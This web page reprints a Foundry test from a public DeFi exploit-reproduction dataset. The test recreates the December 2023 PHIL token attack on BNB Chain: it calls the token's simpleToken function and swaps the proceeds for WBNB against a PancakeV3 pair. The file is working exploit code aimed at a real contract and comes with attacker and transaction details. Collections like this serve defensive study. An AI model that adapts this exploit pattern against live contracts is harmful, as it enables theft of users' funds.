Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/PHIL_exp.sol

Public reproduction file for dataset entry PHIL.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/PHIL_exp.sol52 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4// @KeyInfo - Total Lost : ~2 $BNB
5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502
6// Vulnerable Contract : https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf1
7// Attack Tx : https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a
8
9import "forge-std/Test.sol";
10import "./../interface.sol";
12interface IPHIL is IERC20 {
13 function simpleToken() external;
16contract ContractTest is Test {
17 IPHIL PHIL = IPHIL(0x4308D314096878D3bf16C9d8DB86101F70BBebF1);
18 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
19 Uni_Pair_V3 PHILTOWBNB = Uni_Pair_V3(0xb8b408A6BD3E43FCDE7D7AbC381ef10bcCcd5349);
21 function setUp() public {
22 vm.createSelectFork("bsc", 34_345_320 - 1);
23 vm.label(address(WBNB), "WBNB");
24 vm.label(address(PHIL), "PHIL");
25 }
27 function testExploit() public {
28 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
29 PHIL.simpleToken();
30 TOKENToWETH();
31 emit log_named_decimal_uint("Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), 18);
32 }
34 function TOKENToWETH() internal {
35 bool zeroForOne = true;
36 uint160 sqrtPriceLimitX96 = 4_295_128_740;
37 bytes memory data = abi.encodePacked(uint8(0x61));
38 int256 amountSpecified = 21_000 * 1e18;
39 PHILTOWBNB.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);
40 }
42 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
43 if (amount0Delta > 0) {
44 IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));
45 } else if (amount1Delta > 0) {
46 IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));
47 }
48 }
50 fallback() external payable {}
51 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “PHIL” (2023-12-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x835b45d38cbdccf99e609436ff38e31ac05bc502

  • Vulnerable Contract

    0x4308d314096878d3bf16c9d8db86101f70bbebf1

  • Attack Tx

    0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a

File record

Name
PHIL
Path
src/test/2023-12/PHIL_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
4f7f3f5c50598410318f2261ea90847fe76c846b
Language
Solidity
Size
53 lines
Date
2023-12-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/PHIL_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4f7f3f5c50598410318f2261ea90847fe76c846b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.